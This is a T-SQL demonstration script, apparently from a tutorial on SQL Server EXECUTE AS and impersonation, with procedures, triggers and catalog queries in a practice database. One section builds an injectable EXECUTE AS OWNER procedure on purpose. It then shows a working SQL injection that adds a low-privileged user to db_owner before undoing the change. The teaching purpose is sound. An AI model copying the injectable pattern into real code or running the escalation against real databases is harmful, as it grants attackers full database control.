SET XACT_ABORT, NOCOUNT ON
USE Playground
go
CREATE PROCEDURE check_playdata2 @id int AS
   SELECT * FROM tokeninfo
   IF object_id('Playtable') IS NOT NULL
      SELECT id, somedata, whodidit FROM Playtable WHERE id = @id
   ELSE
      PRINT 'Playtable has not been created yet. Try again later.'
go
------------------------------------------------------------------------------------------------------
EXECUTE AS USER = 'Michelle'
EXEC add_playdata 11, 'Strawberry Fields Forever'
EXEC add_playdata 12, 'Penny Lane'
EXEC check_playdata2 11
go
REVERT
go
-------------------------------------------------------------------------------------------------------
CREATE USER check_playdata2$user WITHOUT LOGIN
GRANT VIEW DEFINITION ON Playtable TO check_playdata2$user
go
ALTER PROCEDURE check_playdata2 @id int
   WITH EXECUTE AS 'check_playdata2$user' AS
   SELECT * FROM tokeninfo
   IF object_id('Playtable') IS NOT NULL
      SELECT id, somedata, whodidit FROM Playtable WHERE id = @id
   ELSE
      PRINT 'Playtable has not been created yet. Try again later.'
go
-------------------------------------------------------------------------------------------------------
EXECUTE AS USER = 'Michelle'
EXEC check_playdata2 11
go
REVERT
go
-------------------------------------------------------------------------------------------------------
CREATE PROCEDURE dynamic_playdata2 @searchstr nvarchar(40)
   WITH EXECUTE AS OWNER AS
   DECLARE @sql nvarchar(MAX)
   SELECT * FROM tokeninfo
   SELECT @sql = 'SELECT * FROM dbo.Playtable
                  WHERE somedata LIKE ''%'' + ''' + @searchstr + ''' + ''%'''
   EXEC(@sql)
go
EXECUTE AS USER = 'Michelle'
EXEC dynamic_playdata2 'berry'
go
REVERT
go
-------------------------------------------------------------------------------------------------------
EXECUTE AS USER = 'Michelle'
go
CREATE PROCEDURE #xploit AS ALTER ROLE db_owner ADD MEMBER Michelle
go
EXEC dynamic_playdata2 'zz''EXEC #xploit--'
DROP PROCEDURE #xploit
SELECT is_member('db_owner') AS is_dbowner
go
REVERT
go
-------------------------------------------------------------------------------------------------------
ALTER ROLE db_owner DROP MEMBER Michelle
go
-------------------------------------------------------------------------------------------------------
CREATE TRIGGER play_tri ON Playtable AFTER INSERT AS
   SELECT 'In trigger' AS wherearewe, *
   FROM   tokeninfo
go
CREATE USER outer_sp2$user WITHOUT LOGIN
go
CREATE PROCEDURE outer_sp2 @id int, @somedata nvarchar(40)
   WITH EXECUTE AS 'outer_sp2$user' AS
   SELECT 'outer_sp' AS wherearewe, *
   FROM   tokeninfo
   INSERT Playtable(id, somedata)
      VALUES(@id, @somedata)
   EXEC inner_sp
go
-------------------------------------------------------------------------------------------------------
EXECUTE AS USER = 'Michelle'
EXEC outer_sp2 13, 'Yesterday'
go
REVERT
go
-------------------------------------------------------------------------------------------------------
SELECT * FROM Playtable
go
-------------------------------------------------------------------------------------------------------
SELECT s.name + '.' + o.name AS Module,
       CASE sm.execute_as_principal_id WHEN -2 THEN 'OWNER'
            ELSE user_name(sm.execute_as_principal_id)
       END AS [EXECUTE AS]
FROM   sys.sql_modules sm
JOIN   sys.objects o ON sm.object_id = o.object_id
JOIN   sys.schemas s ON s.schema_id = o.schema_id
WHERE  sm.execute_as_principal_id IS NOT NULL
go
--------------------------------------------------------------------------------------------------------
CREATE PROCEDURE check_playdata3 @id int 
   WITH EXECUTE AS 'check_playdata2$user' AS
   DECLARE @object_id int = object_id('Playtable')
   EXECUTE AS CALLER
      IF @object_id IS NOT NULL
         SELECT id, somedata, whodidit FROM Playtable WHERE id = @id
      ELSE
         PRINT 'Playtable has not been created yet. Try again later.'
   REVERT
go
EXECUTE AS USER = 'Michelle'
EXEC check_playdata3 12
go
REVERT
go
--------------------------------------------------------------------------------------------------------
CREATE PROCEDURE check_playdata4 @id int AS
   EXECUTE AS USER = 'check_playdata2$user'
     DECLARE @object_id int = object_id('Playtable')
   REVERT
   IF @object_id IS NOT NULL
      SELECT id, somedata, whodidit FROM Playtable WHERE id = @id
   ELSE
      PRINT 'Playtable has not been created yet. Try again later.'
go
--------------------------------------------------------------------------------------------------------
EXECUTE AS USER = 'Michelle'
EXEC check_playdata4 12
go
REVERT